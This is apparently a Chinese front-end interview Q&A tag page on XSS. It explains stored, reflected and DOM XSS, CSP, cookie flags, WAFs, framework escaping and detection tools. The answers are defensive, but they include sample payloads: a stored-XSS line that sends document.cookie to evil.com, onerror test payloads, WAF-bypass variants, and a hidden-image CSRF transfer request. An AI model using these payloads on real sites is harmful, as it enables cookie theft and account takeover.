标签

XSS

XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的网络安全漏洞,它允许攻击者将恶意脚本注入到原本无害的网页中。当其他用户浏览这些已经被注入恶意脚本的网页时,嵌入其中的脚本会在用户的浏览器中被执行,攻击者可以利用这些脚本进行进一步的恶意操作,如窃取用户的会话令牌(cookies)、劫持用户会话、重定向到恶意网站或者在用户不知情的情况下进行其他攻击行为。

XSS
前端5月30日 22:56
存储型 XSS 和反射型 XSS 到底有什么区别?## 直接回答 存储型 XSS 和反射型 XSS 的核心区别在于恶意脚本是否被服务器保存。存储型 XSS 会把 payload 写进数据库、评论、资料、工单、消息等持久化位置,之后每个访问相关页面的用户都可能中招;反射型 XSS 通常藏在 URL 或表单参数里,服务器把它原样拼回响应,只有点击恶意链接或提交特定请求的用户会触发。一个像埋地雷,一个像递刀片,前者影响面更大,后者更依赖诱导。 防护思路也不同。存储型要重点管住“写入后再展示”的完整链路,包括后台审核页、管理端列表和导出内容;反射型要重点检查搜索、错误提示、跳转、登录回跳这类即时响应。两者共同底线是按输出上下文编码,不把用户输入当 HTML、JS、CSS 或 URL 直接拼接。输入过滤可以减少脏数据,但不要把它当唯一防线,因为同一份数据在不同上下文里危险点完全不同。还有一个容易忽略的边界:同一个字段今天只在纯文本位置展示,明天可能被产品放进富文本卡片或运营邮件里,所以“当前没事”不能当成长期安全结论。 ## 对比代码 ```js // 反射型:q 来自本次请求,立刻进入响应 app.get('/search', (req, res) => { res.send(`<p>搜索:${escapeHtml(req.query.q || '')}</p>`); }); // 存储型:评论先入库,展示时仍要编码 app.get('/comments', async (req, res) => { const rows = await db.query('select content from comments'); res.send(rows.map(r => `<p>${escapeHtml(r.content)}</p>`).join('')); }); ``` 这段示例故意把编码放在输出侧。很多团队喜欢在入库前“清洗干净”,但评论可能在网页、App WebView、邮件模板、后台表格里被复用,不同场景需要不同编码。入库前可以做长度、类型和业务规则校验;真正决定是否会执行脚本的,往往是展示时的上下文。 ## 追问 ### 为什么存储型 XSS 通常更危险? 因为它不需要每次诱导用户点击恶意链接,只要恶意内容留在系统里,后续访问者都会暴露在风险下。评论区、用户昵称、客服消息、站内信、后台备注都可能成为传播点。更麻烦的是管理员也可能访问这些内容,一旦后台中招,攻击者可能拿到更高权限。边界是反射型如果结合钓鱼、短链接和已登录状态,也能造成严重后果,不能简单认为它只是中危。 ### 反射型 XSS 为什么还常见? 因为很多页面会把用户输入立即展示出来,比如搜索词、错误信息、表单校验结果和跳转提示。开发者容易觉得“只是显示一下参数”,于是直接拼 HTML。反射型的踩坑点在于它经常出现在边角页面,不在主流程测试范围内。尤其是老服务端模板,一段字符串拼接就可能把 URL 参数变成可执行脚本。 ### 输入过滤和输出编码应该怎么取舍? 输入过滤适合做业务合法性校验,例如昵称长度、评论最大字数、URL 是否属于允许域名。输出编码负责安全上下文,例如 HTML 文本、HTML 属性、JavaScript 字符串、CSS 和 URL 编码规则都不一样。只做输入过滤会遇到绕过,也会误伤正常内容;只做输出编码又可能让垃圾数据长期污染数据库。实际项目里两者都要有,但安全兜底应放在输出编码和安全渲染上。 ### 富文本场景怎么处理存储型 XSS? 富文本不能简单转成纯文本,否则业务体验会崩;但也不能相信编辑器输出,因为攻击者可以绕过前端直接调接口。更合理的是服务端或展示层使用白名单清洗,只允许必要标签和属性,例如段落、列表、链接、加粗和代码。链接要额外限制协议,图片要限制来源和大小。踩坑点是后台预览、移动端 WebView、邮件通知也要走同一套清洗规则,否则主站安全,旁路页面仍然中招。 ### 组合防护应该包含哪些层? 第一层是输出编码和安全模板,保证默认渲染不执行脚本。第二层是富文本清洗、URL 协议白名单和危险 API 禁用,减少特殊场景的攻击面。第三层是 CSP、Cookie `HttpOnly/SameSite/Secure`、权限最小化和审计日志,降低漏洞被利用后的收益。最后要把安全测试放进流程,评论、搜索、资料、后台列表这些输入展示链路,每次改版都应该有回归用例。
前端5月30日 22:56
DOM 型 XSS 为什么难发现?前端该如何检测和修复?## 直接回答 DOM 型 XSS 是漏洞发生在浏览器端的一类 XSS:页面脚本从 `location`、`postMessage`、`localStorage`、URL 参数等来源读取不可信数据,再写入 `innerHTML`、`document.write`、`eval`、`setTimeout(string)` 等危险位置,最终让浏览器执行了攻击者控制的代码。它和反射型、存储型最大的区别是,恶意内容不一定经过服务器响应,服务端日志里可能什么都看不到。 检测 DOM 型 XSS 要抓两件事:source 和 sink。source 是不可信输入从哪里来,sink 是它被送到哪里执行或解析。修复时优先改 sink,例如能用 `textContent` 就别用 `innerHTML`;确实要渲染 HTML,就先清洗;涉及 URL 跳转、iframe、图片地址时,要做协议和域名白名单。DOM XSS 难发现,不是因为原理复杂,而是因为前端状态太多,数据在路由、组件、缓存和第三方库之间绕几圈后,没人记得它最初来自用户。 ## 危险与修复示例 ```js const keyword = new URLSearchParams(location.search).get('q') || ''; // 危险:把 URL 参数当 HTML result.innerHTML = `搜索:${keyword}`; // 安全:只按文本显示 result.textContent = `搜索:${keyword}`; ``` 如果业务必须展示高亮 HTML,不要手写几个 replace 就收工。HTML 上下文、属性上下文、URL 上下文的编码规则不同,手写函数很容易漏掉实体编码、大小写、闭合标签和 SVG 事件。用成熟库清洗,再配合单元测试覆盖常见 payload,会比临时补丁可靠得多。 ## 追问 ### DOM 型 XSS 和反射型 XSS 怎么区分? 反射型 XSS 通常是服务器把请求参数拼进响应,漏洞点在服务端输出。DOM 型 XSS 则是浏览器端脚本自己读取并写入 DOM,服务器可能只是返回同一个静态页面。两者有时会混在一起,例如 URL 参数先被服务端渲染,再被前端脚本二次处理。判断边界时可以看恶意 payload 是否出现在 HTTP 响应体里,如果响应体没有但页面执行了,往往就是 DOM 型。 ### 常见 source 和 sink 有哪些? 常见 source 包括 `location.href`、`location.search`、`location.hash`、`document.referrer`、`window.name`、`postMessage`、`localStorage` 和接口返回中的用户字段。常见 sink 包括 `innerHTML`、`outerHTML`、`insertAdjacentHTML`、`document.write`、`eval`、`new Function`、字符串形式的 `setTimeout`。取舍点是有些 API 本身不是绝对禁用,比如 `innerHTML` 渲染可信模板可以接受。问题在于不可信数据流进这些位置时,必须有清洗、编码或白名单校验。 ### 手动测试 DOM XSS 应该怎么做? 先找页面里会读取 URL、hash、消息事件和本地存储的代码,再看这些值是否进入危险 sink。测试 payload 不要只用 `<script>alert(1)</script>`,现代浏览器和插入方式下它经常不执行,可以补充 `<img src=x onerror=alert(1)>`、SVG、属性闭合等变体。测试时要覆盖路由切换、弹窗打开、搜索建议、富文本预览等交互路径。踩坑点是单页应用很多逻辑懒加载,页面刚打开没触发,不代表没有漏洞。 ### 自动化工具能发现所有 DOM XSS 吗? 不能,但它们能显著降低漏检。静态扫描能找出 source 到 sink 的可疑数据流,动态扫描能在真实浏览器里观察 payload 是否执行。边界在于复杂框架、混淆代码、运行时拼接和第三方组件会让工具误报或漏报。比较稳的做法是把 Semgrep/ESLint 规则放进 CI,再对高风险页面做人工复核和浏览器动态测试。 ### 防护 DOM XSS 的组合策略是什么? 第一层是安全 API:文本用 `textContent`,属性用框架绑定,不把字符串当代码执行。第二层是输入和 URL 白名单,特别是跳转、iframe、图片和下载链接。第三层是富文本清洗和 CSP,减少漏网内容执行脚本或外传数据。最后还要保护 Cookie,给会话 Cookie 加 `HttpOnly`、`Secure`、`SameSite`,这样即使某处出现脚本执行,攻击收益也会被压低。
前端5月30日 22:56
CSP 如何防止 XSS?nonce、hash 和 strict-dynamic 怎么选?## 直接回答 Content Security Policy,简称 CSP,是浏览器执行的一套资源加载和脚本执行规则。它不能替代输出编码,也不能把脏 HTML 自动洗干净,但它能在 XSS payload 混进页面后继续拦一刀:不允许内联脚本执行,不允许加载未知域名脚本,不允许 `eval`,也能限制表单提交、iframe 嵌套和基础 URL。对安全来说,CSP 更像安全带,不是刹车;撞车前最好别撞,真撞上时它能降低伤害。 一个可落地的 CSP 通常从 Report-Only 开始,先收集违规报告,再逐步收紧。新项目优先使用 nonce 或 hash,少用 `'unsafe-inline'`;老项目如果内联脚本很多,可以先把脚本拆出去,再引入 nonce。CSP 的难点不是写出一条很漂亮的 header,而是在业务脚本、监控、A/B 测试、支付、客服和广告之间找到可维护的边界。 ## 推荐配置 ```http Content-Security-Policy: default-src 'self'; script-src 'nonce-r4nd0m' 'strict-dynamic' https:; object-src 'none'; base-uri 'self'; frame-ancestors 'none'; img-src 'self' https: data:; connect-src 'self' https://api.example.com; report-uri https://report.example.com/csp; ``` nonce 必须每个响应重新生成,并且只发给服务器确认过的脚本标签。不要把 nonce 写死在模板、缓存片段或全局变量里,否则攻击者只要读到一次就能复用。`object-src 'none'`、`base-uri 'self'`、`frame-ancestors` 这些指令常被忽略,但它们能挡住不少老式插件、base 标签劫持和点击劫持组合拳。 ## 追问 ### CSP 能不能彻底解决 XSS? 不能,CSP 是缓解措施,不是根治手段。真正的根治仍然是按上下文输出编码、富文本白名单清洗、避免危险 DOM API。CSP 的价值在于漏洞发生后减少脚本执行和数据外传,例如阻止未知域名脚本、限制 `connect-src`。边界是浏览器兼容、策略误配、已有可信脚本被利用时,CSP 仍可能被绕过。 ### nonce、hash 和白名单域名该怎么选? nonce 适合服务端渲染页面,因为每次响应都能给合法脚本发一个随机通行证。hash 适合内容固定的内联脚本,脚本一改 hash 就要更新,维护成本更高但不依赖运行时注入。域名白名单看起来简单,却容易因为信任整个 CDN 或第三方域名而扩大攻击面。取舍上,新系统优先 nonce/hash,域名白名单只给确实需要的外部资源,别把 `https:` 当万能许可。 ### 为什么很多 CSP 最后都加了 `'unsafe-inline'`? 通常是历史包袱:页面里有大量内联事件、内联脚本、老组件或第三方片段,一关就坏。加 `'unsafe-inline'` 能快速恢复业务,但也会让 CSP 对内联 XSS 的防护大打折扣。更好的迁移方式是先用 `Content-Security-Policy-Report-Only` 收集问题,再按页面分批移除内联脚本。踩坑点是报告量会很大,需要聚合去重,不然安全团队很快被噪音淹没。 ### `strict-dynamic` 有什么用? `strict-dynamic` 表示只要一个带 nonce 或 hash 的可信脚本被允许执行,它动态加载的后续脚本也可以被信任。它适合现代前端打包和运行时加载场景,能减少维护一长串脚本域名的痛苦。边界在于你必须先保护好入口脚本,入口脚本如果被污染,动态信任会放大问题。老浏览器支持也要评估,必要时保留兼容性的域名策略。 ### CSP 上线最容易踩哪些坑? 第一是把策略一次性收太紧,导致支付、验证码、地图、监控全挂。第二是只配置 `script-src`,却忘了 `connect-src`、`frame-src`、`form-action`,攻击者仍可能把数据送出去。第三是没有监控报告,线上误杀只能靠用户投诉。实战里建议按页面或业务域灰度,先 Report-Only,再 Enforcement,并把违规报告接入告警和例外审批。
前端5月30日 22:56
React、Vue、Angular 防 XSS 靠什么?哪些场景会失效?## 直接回答 React、Vue、Angular 都会默认把模板里的普通文本做 HTML 转义,所以把用户昵称、搜索词、评论摘要渲染成文本时,一般不会直接变成脚本执行。真正的风险通常出现在开发者主动绕过框架保护:React 的 `dangerouslySetInnerHTML`、Vue 的 `v-html`、Angular 的 `bypassSecurityTrustHtml`,以及把不可信数据拼到 URL、CSS、事件处理器或第三方组件配置里。框架能减少常见错误,但不能替你判断一段 HTML 是否可信,也不能保证后端、富文本编辑器、Markdown 渲染器和广告脚本都安全。 防 XSS 更稳的做法是分层处理:默认用文本渲染;确实要展示富文本时先用 DOMPurify 这类白名单清洗;URL 只允许 `https:`、`mailto:` 等业务需要的协议;再用 CSP 限制脚本来源,降低漏网 payload 的执行概率。不要把“用了 React/Vue/Angular”当成免疫证书,XSS 往往就藏在为了赶需求开的那个逃生口里。 ## 必要代码 ```tsx import DOMPurify from 'dompurify'; function SafeRichText({ html }: { html: string }) { const clean = DOMPurify.sanitize(html, { ALLOWED_TAGS: ['p', 'a', 'strong', 'em', 'ul', 'ol', 'li', 'code'], ALLOWED_ATTR: ['href', 'title', 'target', 'rel'] }); return <div dangerouslySetInnerHTML={{ __html: clean }} />; } ``` 这段代码的重点不是“用了 sanitize 就万事大吉”,而是把允许的标签和属性收窄。富文本业务经常要开放链接、图片或代码块,每多放一个标签,测试用例就要覆盖它的危险属性和协议。尤其是链接,`javascript:`、`data:`、奇怪大小写和编码绕过都要检查。 ## 追问 ### React、Vue、Angular 的自动转义具体防住了什么? 自动转义主要防住“把字符串当成 HTML 解析”的问题,例如用户输入 `<img onerror=alert(1)>`,框架会把尖括号转成文本显示。它适用于文本节点和大多数属性绑定,但前提是你没有主动要求框架把内容当 HTML 插入。边界在于 URL、CSS、SVG、iframe 等上下文的规则不同,单纯 HTML 转义不一定够。实际项目里最容易踩坑的是把搜索词、昵称这些看似普通的字段临时塞进富文本容器,结果绕过了默认保护。 ### 为什么 `dangerouslySetInnerHTML`、`v-html` 不能直接用? 这类 API 的名字已经说得很直白:它们会跳过模板转义,把字符串交给浏览器按 HTML 解析。如果字符串来自 CMS、评论、客服消息、Markdown 或外部接口,就等于让外部数据参与页面结构生成。取舍点在于富文本确实需要这些 API,否则无法保留段落、链接和强调样式。正确做法不是完全禁用,而是把调用点集中封装,统一清洗、统一审计,避免每个业务组件各写一套临时逻辑。 ### Angular 的安全机制是不是比 React、Vue 更强? Angular 对不同上下文有更细的安全模型,会区分 HTML、Style、URL、Resource URL,并在模板绑定时做相应处理。它的优势是默认约束更明确,团队不容易随手拼接危险模板。边界也很清楚,一旦使用 `bypassSecurityTrust...`,就是开发者声明“我保证这段内容可信”。踩坑常见于为了解决视频嵌入、富文本预览或老页面迁移而滥用 bypass,最后把安全责任从框架手里拿了回来。 ### 只靠前端框架防护够不够? 不够,因为 XSS 的入口不一定只在当前前端项目里。后端模板、管理后台、第三方 SDK、富文本编辑器、Markdown 渲染、埋点脚本都可能把不可信数据重新带回页面。组合防护要同时有输出编码、富文本清洗、协议白名单、Cookie 的 `HttpOnly/SameSite/Secure`、CSP 和依赖升级。这样即使某一层漏掉,攻击者也不容易直接拿到会话或执行任意脚本。 ### 团队里怎么把这件事落地? 最有效的办法是减少“自由发挥”的入口,例如只提供 `SafeHtml`、`SafeLink`、`RichTextRenderer` 这些经过审计的组件。代码评审重点看是否出现 `innerHTML`、`outerHTML`、`document.write`、字符串形式的 `setTimeout`、不受控的 iframe src。自动化层面可以加 ESLint 规则和 Semgrep 规则,把危险 API 变成需要解释的例外。边界是安全规则不能阻断正常业务,所以组件要给出可用替代方案,否则大家会绕过规则。
前端5月27日 21:45
什么是 HttpOnly Cookie?如何使用 HttpOnly Cookie 防止 XSS 攻击?## 什么是 HttpOnly Cookie HttpOnly 是 Cookie 的一个属性,设置后浏览器禁止 JavaScript 通过 `document.cookie` 读取该 Cookie,从而阻止 XSS 攻击窃取会话信息。 ## 核心原理 浏览器在收到 `Set-Cookie: sessionId=abc123; HttpOnly` 响应头后,会将该 Cookie 标记为只读。此时 `document.cookie` 的返回值中不包含该条目,恶意脚本无法获取。 ```http Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict ``` ```javascript // 未设 HttpOnly → 可窃取 document.cookie; // "sessionId=abc123; theme=dark" // 已设 HttpOnly → 不可见 document.cookie; // "theme=dark" ``` ## 如何设置 **Node.js Express:** ```javascript res.cookie("sessionId", token, { httpOnly: true, secure: true, sameSite: "strict" }); ``` **PHP:** ```php setcookie("sessionId", $token, [ "httponly" => true, "secure" => true, "samesite" => "Strict" ]); ``` **Nginx:** ```nginx proxy_cookie_flags ~ httponly secure samesite=strict; ``` ## 局限性 HttpOnly 只能防止 Cookie 被读取,不能阻止 XSS 本身。攻击者仍可通过 XSS 执行以下操作: - 利用 `fetch("/api/transfer", {credentials:"include"})` 携带 Cookie 发起请求 - 修改页面 DOM 或重定向到钓鱼网站 - 窃取未设 HttpOnly 的其他 Cookie 因此 HttpOnly 必须与 CSP、SameSite、输入过滤等手段配合使用。 ## 追问 **HttpOnly 能防 CSRF 吗?** 不能。CSRF 是浏览器自动携带 Cookie 发起的跨站请求,与 JavaScript 读取无关,需靠 SameSite 或 CSRF Token 防护。 **哪些 Cookie 不应设 HttpOnly?** 前端 JS 需要访问的功能性 Cookie,如主题偏好、语言设置等。会话和认证类 Cookie 必须设 HttpOnly。 **设了 HttpOnly 为什么还会丢 Cookie?** 中间人攻击可在未加密的 HTTP 上截获 Cookie,必须同时设置 `Secure` 属性强制 HTTPS 传输。
前端5月27日 21:45
什么是 SameSite Cookie?它如何防御 CSRF 和 XSS 攻击?## 答案 SameSite 是 Cookie 的一个属性,控制浏览器是否在跨站请求中携带 Cookie。它是防御 CSRF 攻击的核心手段,也能在一定程度上限制跨站 XSS 的危害扩散。 三种模式的区别: | 模式 | 跨站请求是否携带 Cookie | 典型场景 | |------|------------------------|----------| | Strict | 完全不携带 | 银行、支付等高安全应用 | | Lax | 仅顶层导航(如点击链接)携带,异步请求不携带 | 大多数 Web 应用的推荐默认值 | | None | 全部携带,必须配合 Secure | 第三方登录、iframe 嵌入等跨站场景 | ```javascript res.cookie('sessionId', token, { httpOnly: true, secure: true, sameSite: 'lax' // 现代浏览器默认值 }); ``` ## 为什么 Lax 是推荐默认值? Strict 最安全但有体验问题:用户从邮件或搜索引擎点击链接进入网站时,Cookie 不会被发送,导致登录态丢失。Lax 在安全与体验间取了平衡——顶层 GET 导航携带 Cookie 保证正常跳转,POST 和异步请求不携带,阻断 CSRF。 ## SameSite 能防 XSS 吗? 不能完全防。SameSite 限制的是跨站请求中的 Cookie 发送,但 XSS 发生在同站内,脚本可以直接读取非 HttpOnly 的 Cookie 或发起同站请求。正确做法是 SameSite + HttpOnly + CSP 组合使用: ```javascript res.cookie('sessionId', token, { httpOnly: true, secure: true, sameSite: 'strict' }); // 配合 CSP 限制脚本来源 res.setHeader('Content-Security-Policy', "script-src 'self'"); ``` ## None 模式有什么坑? SameSite=None 必须同时设置 Secure,否则浏览器会拒绝。而且 None 模式下 Cookie 在所有跨站请求中都会发送,等于放弃了 SameSite 的防护,必须额外依赖 CSRF Token 等机制兜底。 ## 追问 - Chrome 80+ 未显式设置 SameSite 时默认行为是什么?——默认 Lax,未声明的 Cookie 在跨站 POST/iframe/fetch 中不会发送。 - SameSite=Lax 下,哪些跨站请求会携带 Cookie?——顶层 GET 导航(`<a>` 点击、`window.open`),不包含 POST 表单、iframe、fetch/XHR。 - 如果应用需要嵌入第三方 iframe 并保持登录态,怎么处理?——SameSite=None; Secure + CSRF Token 双重防护。
前端5月27日 21:43
什么是 WAF(Web 应用防火墙)?如何使用 WAF 防止 XSS 攻击?## 核心答案 WAF(Web Application Firewall)是部署在 Web 应用前端的流量检测与过滤层,通过分析 HTTP 请求的参数、头部、正文等内容,识别并拦截 XSS、SQL 注入等攻击。防止 XSS 的核心逻辑:WAF 对请求做**多重解码**(URL 解码、HTML 实体解码、Unicode 解码等),再用正则签名或语义分析匹配 `<script>`、`javascript:`、`onerror=` 等 XSS 特征,命中则阻断请求。 ## 三种检测机制 **签名检测**——最主流。用正则匹配已知 XSS payload 模式,如 `<script>` 标签、事件处理器 `on\w+=`、`javascript:` 伪协议等。优点是速度快、规则可控;缺点是只能检测已知模式,编码绕过可逃逸。 **行为分析**——统计维度判断。监控单 IP 请求频率、参数长度异常、特殊字符密度等,超过阈值则标记风险。适合对付自动化扫描和批量注入,但误报率较高。 **语义/机器学习检测**——对输入做语法解析或用训练模型预测恶意概率,能识别变形和混淆 payload,但部署成本高、延迟大,通常作为辅助层。 ## 常见绕过与防护 | 绕过方式 | 示例 | WAF 对策 | |---------|------|---------| | URL 编码 | `%3Cscript%3E` | 多层 URL 解码 | | 大小写混淆 | `<ScRiPt>` | 规则不区分大小写 | | 事件处理器 | `<img src=x onerror=alert(1)>` | 匹配 `on\w+\s*=` 模式 | | 字符串拼接 | `eval(String.fromCharCode(...))` | 语义分析 + 行为监控 | 关键原则:**不能只靠 WAF**。输入验证、输出编码、CSP 策略必须同步部署,WAF 是纵深防御的一层,不是银弹。 ## 面试追问 - **WAF 和传统防火墙的区别?** 传统防火墙工作在网络/传输层(L3/L4),基于 IP 和端口过滤;WAF 工作在应用层(L7),理解 HTTP 语义,能识别业务逻辑攻击。 - **WAF 误报怎么处理?** 白名单放行合法请求,调整规则阈值,结合业务上下文做灰度观察,逐步收紧策略。 - **WAF 部署位置?** 反向代理模式(串联,阻断能力强)或旁路镜像模式(只检测不阻断,适合审计)。
前端5月27日 21:38
什么是 XSS 攻击?XSS 有哪些类型?如何防御?## 什么是 XSS 攻击? XSS(Cross-Site Scripting,跨站脚本攻击)是指攻击者将恶意脚本注入网页,当其他用户浏览时脚本在其浏览器中执行,可窃取 Cookie、劫持会话、篡改页面内容。 ## XSS 的三种类型 ### 存储型 XSS 恶意脚本被永久存入服务器(如评论区、数据库)。用户访问含恶意脚本的页面即触发,危害最大,攻击者无需诱骗用户点击链接。 示例:评论区提交 `<script>fetch("https://evil.com?c="+document.cookie)</script>` ### 反射型 XSS 恶意脚本通过 URL 参数传入,服务器将其"反射"回响应页面。需诱骗用户点击恶意链接才触发,常见于搜索页、错误页。 示例:`https://example.com/search?q=<script>alert(1)</script>` ### DOM 型 XSS 漏洞纯在客户端,不经过服务器。JavaScript 直接读取 URL 片段等来源并写入 DOM,脚本在浏览器中直接执行。 示例:`document.getElementById("out").innerHTML = location.hash.slice(1)` ## 如何防御 XSS? 1. **输入验证**:白名单校验用户输入的类型、长度、格式,拒绝不合预期数据 2. **输出编码**:根据上下文(HTML/JS/URL/CSS)对特殊字符转义,如 `<` → `&lt;` 3. **CSP 策略**:设置 `Content-Security-Policy` 限制脚本来源,禁止内联脚本执行 4. **HttpOnly Cookie**:设置 Cookie 的 HttpOnly 标志,使 JS 无法读取敏感 Cookie 5. **安全 API**:用 `textContent` 代替 `innerHTML`,避免 `eval()` 和 `new Function()` 6. **框架防护**:React/Vue 默认转义输出,但 `dangerouslySetInnerHTML` / `v-html` 需格外谨慎 ## 常见追问 **XSS 和 CSRF 有什么区别?** XSS 是向页面注入脚本执行恶意操作;CSRF 是借用用户已登录的身份,构造请求让浏览器自动带上 Cookie 发起伪造操作。XSS 偷数据,CSRF 冒充用户。 **CSP 能完全防止 XSS 吗?** 不能。CSP 限制脚本来源和执行方式,但如果攻击者能在允许的脚本来源中注入代码(如 CDN 被攻破),CSP 也无法阻止。防御需多层配合。 **SameSite Cookie 对 XSS 有什么影响?** SameSite 控制 Cookie 跨站发送行为,主要防御 CSRF。对 XSS 本身无直接防护,但可限制窃取到的 Cookie 在跨站请求中被自动携带,缩小攻击面。
前端5月27日 21:37
XSS 攻击有哪些危害?如何防范?## 核心危害与防范 XSS(跨站脚本攻击)允许攻击者向页面注入恶意脚本,危害集中在三个层面:**窃取凭据**(Cookie、Session ID、Token)、**操控用户行为**(伪造请求、钓鱼、重定向)、**破坏页面完整性**(篡改内容、植入挖矿脚本)。 具体来说,攻击者通过 `document.cookie` 窃取会话信息后可劫持账户;注入伪造表单骗取密码;用 `window.location` 重定向到钓鱼站;监听 `keydown` 记录键盘输入;甚至用 `fetch` 携带 `credentials:'include'` 代发转账请求。DOM 型 XSS 还能直接修改页面 DOM,篡改显示内容。 ## 系统性防御方案 防御的核心原则是**不信任任何用户输入**,具体分为四层: **输入层**:白名单校验 + 长度限制,富文本场景用 DOMPurify 过滤危险标签和属性。 **输出层**:根据上下文选择编码方式——HTML 正文转义 `<>&"`,属性值额外转义引号,URL 上下文做 URL 编码,JS 上下文做 Unicode 转义。优先用 `textContent` 替代 `innerHTML`。 **浏览器层**:部署 CSP 策略,禁止内联脚本和外域脚本加载;Cookie 设置 `HttpOnly` 阻止 JS 读取、`SameSite=Strict` 防跨站携带;响应头加上 `X-Content-Type-Options: nosniff`。 **框架层**:React/Vue 默认转义输出,避免 `dangerouslySetInnerHTML` / `v-html`;需要渲染 HTML 时必须先 sanitize。 ## 追问 - **存储型、反射型、DOM 型 XSS 的区别是什么?** 存储型恶意脚本持久化在服务端,所有访问者触发;反射型脚本随 URL 参数传入,需诱骗点击;DOM 型纯前端触发,不经过服务端。 - **CSP 如何绕过?** 若配置允许 `unsafe-inline` 或 `unsafe-eval` 则形同虚设;JSONP 接口可被利用加载外域脚本。 - **HttpOnly 能防 XSS 吗?** 不能,只防 Cookie 读取,攻击者仍可通过 XSS 发起请求(借助浏览器自动携带 Cookie)。
前端5月27日 21:36
如何检测 XSS 漏洞?有哪些常用的 XSS 检测工具和方法?## 答案 检测 XSS 漏洞分手动测试和自动化工具两条线。手动测试关注三个输入来源——URL 参数、表单提交、DOM 来源,逐个注入 `<script>alert(1)</script>`、`<img src=x onerror=alert(1)>` 等基础 Payload,观察是否原样回显到页面。自动化工具推荐三款:**Burp Suite** 拦截请求后用 Intruder 批量注入变体 Payload,适合深度测试;**XSStrike** 专攻 XSS,自带 WAF 绕过和上下文感知的 Payload 生成,命令行一行搞定;**OWASP ZAP** 开源免费,适合快速扫描。三种 XSS 类型检测侧重不同:反射型盯 URL 参数回显,存储型盯评论区/个人资料等持久化输出,DOM 型盯 `innerHTML`、`document.write` 等危险 Sink 以及 `location.hash` 等客户端 Source。代码审计层面,重点搜 `innerHTML`、`eval`、`document.write` 和未转义的用户输入拼接,配合 ESLint security 插件或 Semgrep 做静态扫描。 ## 追问 **Q: DOM 型 XSS 和反射型 XSS 的根本区别是什么?** 反射型的恶意数据经过服务器再返回,在响应 HTML 中可见;DOM 型完全在客户端发生,服务端响应里看不到恶意代码,必须审查前端 JS 逻辑才能发现。 **Q: 如果目标站部署了 WAF,XSS 检测怎么做?** 先确认 WAF 规则类型。常见绕过:大小写混写 `<ScRiPt>`、编码绕过 `&#x3c;script&#x3e;`、事件属性替代 `<img src=x onerror=...>`、利用 SVG/MathML 标签。XSStrike 的 `--skip` 参数可跳过 WAF 检测直接注入。 **Q: 如何证明发现的 XSS 漏洞有实际危害?** 从 `alert(1)` 升级到可利用场景:窃取 Cookie(`document.cookie` 发往攻击者服务器)、键盘记录、钓鱼表单注入、组合 CSRF 实现账户接管。面试中能说出危害链路比只会弹框高一个层次。
前端5月27日 21:35
XSS 和 CSRF 有什么区别?## 核心区别 XSS 是往页面里注入恶意脚本,让脚本在用户浏览器里执行;CSRF 是伪造用户身份,让浏览器替攻击者发请求。一个攻的是"用户对网站的信任",一个攻的是"网站对浏览器的信任"。 | | XSS | CSRF | |---|---|---| | 原理 | 注入脚本在浏览器执行 | 伪造请求冒充用户 | | 能力 | 可读写 DOM、窃取 Cookie、发任意请求 | 只能发请求,无法读响应 | | 依赖登录 | 不需要 | 需要用户已登录 | | 防护核心 | 输入过滤 + 输出编码 | Token + SameSite Cookie | ## XSS 防护要点 三种类型:存储型(脚本入库,持久危害最大)、反射型(URL 参数带脚本)、DOM 型(前端 JS 拼接执行)。 防护三板斧: - **输入侧**:白名单校验,过滤特殊字符 - **输出侧**:HTML/JS/URL 分上下文编码,`textContent` 替代 `innerHTML` - **纵深防御**:CSP 禁内联脚本,Cookie 设 HttpOnly ```javascript // 输出编码示例 function escapeHtml(str) { return str.replace(/&/g, "&amp;") .replace(/</g, "&lt;") .replace(/>/g, "&gt;") .replace(/"/g, "&quot;"); } ``` ## CSRF 防护要点 攻击者构造隐藏表单或图片标签,浏览器自动携带 Cookie 发请求,服务器以为是用户本人操作。 防护四招: - **CSRF Token**:每次请求携带服务端签发的随机 Token,攻击者拿不到就无法伪造 - **SameSite Cookie**:设为 `Strict` 或 `Lax`,阻止跨站携带 - **校验 Referer/Origin**:拒绝非本站来源的敏感请求 - **自定义 Header**:前端加 `X-Requested-With`,跨域限制让攻击者无法伪造 ```html <!-- 典型 CSRF 攻击 --> <img src="https://bank.com/transfer?to=hacker&amount=10000" style="display:none"> ``` ## 追问:XSS 能绕过 CSRF 防护吗? 能。XSS 可以直接在页面内读取 CSRF Token 再发请求,等于 CSRF 的所有防线全部失效。所以防护 XSS 优先级更高——XSS 搞定了,CSRF 的 Token 机制才真正有效。
前端5月27日 21:29
输入验证和输出编码有什么区别?如何正确使用它们来防止 XSS 攻击?## 核心区别 输入验证在数据**进入系统时**检查合法性,输出编码在数据**输出到页面时**转义危险字符。两者不可互相替代——验证拦不住所有恶意输入,编码兜底保证即使漏网也不会执行。 一句话:验证是门卫,编码是防弹衣。 ## 输入验证 在接收用户输入的环节,对数据的格式、类型、长度做白名单校验,拒绝不符合预期的内容。 ```javascript // 白名单:只允许字母数字 function validateUsername(name) { return /^[a-zA-Z0-9]+$/.test(name); } ``` 关键原则: - **用白名单,不用黑名单**——黑名单永远补不完绕过方式 - 服务端必须验证,客户端验证可被绕过 - 验证的是"数据是否合法",不是"数据是否危险" ## 输出编码 在数据渲染到页面之前,根据输出上下文对特殊字符做转义,使浏览器将其视为文本而非代码。 ```javascript // HTML上下文:转义 < > " ' & function escapeHtml(str) { return str .replace(/&/g, '&amp;') .replace(/</g, '&lt;') .replace(/>/g, '&gt;') .replace(/"/g, '&quot;') .replace(/'/g, '&#039;'); } ``` 不同上下文需要不同编码:HTML正文、HTML属性、JavaScript内联、URL参数、CSS——各用对应的转义函数或库(如 DOMPurify 处理 HTML,`encodeURIComponent` 处理 URL)。 ## 为什么两者缺一不可 - 只做验证:攻击者总能找到绕过方式(编码变形、特殊字符组合),验证无法覆盖所有场景 - 只做编码:恶意数据会进入数据库,污染日志、影响其他系统、触发二阶XSS - 实际流程:用户输入 → 输入验证 → 存储 → 输出编码 → 渲染,每一层各自兜底 模板引擎默认编码(EJS `<%=%>`、Handlebars `{{}}`)能挡住大部分HTML上下文XSS,但JavaScript上下文和URL上下文仍需手动处理。 ## 追问:CSP 能替代输出编码吗? 不能。CSP(Content Security Policy)限制脚本加载来源,是纵深防御的一环,但无法防御同源内的内联脚本注入,且旧浏览器不支持。CSP 是保险绳,输出编码是安全带,都得系。